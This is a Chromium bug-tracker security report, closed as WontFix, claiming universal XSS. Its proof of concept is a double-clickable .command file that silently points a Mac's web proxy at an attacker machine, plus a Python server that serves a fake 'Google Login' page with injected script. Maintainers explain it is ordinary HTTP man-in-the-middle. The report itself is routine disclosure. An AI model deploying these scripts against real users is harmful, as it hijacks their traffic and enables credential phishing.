New issue
Advanced search Search tips

Issue 615804 link

Starred by 1 user

Issue metadata

Status: WontFix
Owner:
Closed: May 2016
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: ----
Type: Bug-Security



Sign in to add a comment

Security: UXSS

Reported by pabster...@gmail.com, May 30 2016

Issue description

VULNERABILITY DETAILS
When Setting a proxy using a file that you can download from a direct link and that then sets a proxy and sets attacker.com domain as bypass proxy settings it is possible to then run a python file that is attached to then perform XSS on any website, probably only thing you can do is set a phishing site, but you can still send the response, which the victim might fall for the attack because the domain is correct. There may be more ways to take advantage of the UXSS

VERSION
Chrome Version: [50.0.2661.102] + [stable]
Operating System: [Macintosh]

REPRODUCTION CASE
Create a file and call it uxss.command and insert 
"networksetup -setwebproxy Wi-Fi 10.0.0.126 8888
networksetup -setproxybypassdomains Wi-Fi attacker.com
open -a "Google Chrome" http://www.google.com/"  
into it.
Then on a computer on the same network (even though it doesnt have to be that way) with the internal ip of 10.0.0.126 (or just change the ip in the file) and then create a file proxy.py with contents:
"
#!/usr/bin/python

import subprocess
import socket
import sys
from thread import *
import numbers

 
HOST = ''   
PORT = 8888
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
 

try:
    s.bind((HOST, PORT))
except socket.error as msg:
    print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()
     
print 'Socket bind complete'
 

s.listen(10)
print 'Socket now listening'
 
def clientthread(conn):
    conn.send('HTTP/1.0 200 OK\n')
    conn.send('Content-Type: text/html\n')
    conn.send("""
    <html>
    <body>
    <h1>Hello This is The Google Login ;)</h1>
    <script>
    alert("UXSS")
    alert("Fake Login Maybe ...")
    alert("I can still send HTTP Requests to attacker.com ...")
    </script>
    </iframe>
    </body>
    </html>
    """)
    conn.send('Hey LOSER')
    passwd = conn.recv(1024)
    if passwd * 2 == 100:
        conn.send('Faker Loser Lier and Sucker\n')
    elif passwd == int(passwd):
        conn.send('lol')
    else:
        print "LOL\n"
    
    
 
while 1:
    
    conn, addr = s.accept()
    print 'Connected with ' + addr[0] + ':' + str(addr[1])
            
    start_new_thread(clientthread ,(conn,))
s.close()
"

Then Upload the uxss.command file to dropbox, or just go here: https://dl.dropboxusercontent.com/content_link/3wK3QOYS8ARMJWZ0bj631Pc2VzIAggIVcitiTUxg88khF8Cdof5cdHCmLgV0AuYO/file?dl=1  there you already get it there and just double click the file after the attacker has ran proxy.py and then you will goto google.com automatically and get XSS'ed there.


Hope it helps ;)


 
exploit_uxss.command
150 bytes Download
PROXY.py
1.7 KB View Download

Comment 1 Deleted

Comment 2 by mea...@chromium.org, May 31 2016

Components: Internals>Network>Proxy
Status: Assigned (was: Asss)
eroman: Can you please take a look? (similar to  bug 593759 ?)

Comment 3 by eroman@chromium.org, May 31 2016

Cc: mmenke@chromium.org
Status: WontFix (was: Assigned)
+cc mmenke to verify my analysis.

Closing as this is not a bug.

The report describes using a proxy server to MITM http:// connections, in particular http://www.google.com.

This capability is expected of proxies, and cannot be changed. In fact http:// connections are vulnerable to MITM with or without application-configured proxy servers.

The solution is to use https:// for secure connections.

Comment 4 by mmenke@chromium.org, May 31 2016

As Eric says, this is the expected behavior of proxies and HTTP.
Project Member

Comment 5 by sheriffbot@chromium.org, Sep 7 2016

Labels: -Restrict-View-SecurityTeam
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 6 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 7 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Sign in to add a comment